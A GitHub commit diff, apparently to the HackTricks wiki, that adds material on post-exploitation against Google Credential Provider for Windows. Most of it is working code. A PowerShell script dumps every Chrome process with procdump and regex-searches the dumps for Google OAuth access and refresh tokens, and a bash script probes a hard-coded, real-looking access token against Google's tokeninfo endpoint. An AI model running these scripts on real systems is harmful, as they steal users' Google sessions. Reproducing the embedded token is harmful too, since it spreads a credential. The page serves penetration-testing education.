Skip to content

Commit

Permalink
GITBOOK-689: No subject
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Oct 3, 2024
1 parent 40da879 commit f70656c
Showing 1 changed file with 106 additions and 37 deletions.
143 changes: 106 additions & 37 deletions pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md
Original file line number Diff line number Diff line change
Expand Up @@ -317,57 +317,126 @@ It can be observed that AESGCM is used, the encrypted token starts with a **vers

### GCPW - Dumping tokens from processes memory

The following script can be used to **dump** every **Chrome** process using `procdump`, extract the **strings** and then **search** for strings related to **access and refresh tokens**.

**In my experience, it didn't find any token dumping Chrome processes or even the `gcpw_extension.exe` process.**
The following script can be used to **dump** every **Chrome** process using `procdump`, extract the **strings** and then **search** for strings related to **access and refresh tokens**. If Chrome is connected to some Google site, some **process will be storing refresh and/or access tokens in memory!**

<details>

<summary>Dump Chrome processes and search tokens</summary>

```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\path\to\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\path\to\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\ChromeDumps"
$targetString = "ya29" # "1//" for refresh_tokens
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" | Select-Object -ExpandProperty Id
# Show EULA if it wasn't accepted yet for strings
$stringsPath
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Extract strings and search for the target string in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$asciiStringsOutputFile = "$dumpFolder\chrome_$($_.BaseName)_ascii_strings.txt"
$unicodeStringsOutputFile = "$dumpFolder\chrome_$($_.BaseName)_unicode_strings.txt"
Write-Output "Extracting ASCII strings from $dumpFile"
& $stringsPath $dumpFile > $asciiStringsOutputFile
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
Write-Output "Extracting UTF-16 strings from $dumpFile"
& $stringsPath -u $dumpFile > $unicodeStringsOutputFile
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
Write-Output "Searching for '$targetString' in $asciiStringsOutputFile"
Select-String -Path $asciiStringsOutputFile -Pattern $targetString | ForEach-Object {
Write-Output $_.Line
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
Write-Output "Searching for '$targetString' in $unicodeStringsOutputFile"
Select-String -Path $unicodeStringsOutputFile -Pattern $targetString | ForEach-Object {
Write-Output $_.Line
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
```

</details>

I tried the same with `gcpw_extension.exe` but it didn't find any token.

For some reason, s**ome extracted access tokens won't be valid (although some will be)**. I tried the following script to remove chars 1 by 1 to try to get the valid token from the dump. It never helped me to find a valid one, but it might I guess:

<details>

<summary>Check access token by removing chars 1 by 1</summary>

```bash
#!/bin/bash

# Define the initial access token
access_token="ya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277"

# Define the URL for the request
url="https://www.googleapis.com/oauth2/v1/tokeninfo"

# Loop until the token is 20 characters or the response doesn't contain "error_description"
while [ ${#access_token} -gt 20 ]; do
# Make the request and capture the response
response=$(curl -s -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=$access_token" $url)

# Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then
echo "Success: Token is valid"
echo "Final token: $access_token"
echo "Response: $response"
exit 0
fi

# Remove the last character from the token
access_token=${access_token:0:-1}

echo "Token length: ${#access_token}"
done

echo "Error: Token invalid or too short"
```

</details>
Expand Down

0 comments on commit f70656c

Please sign in to comment.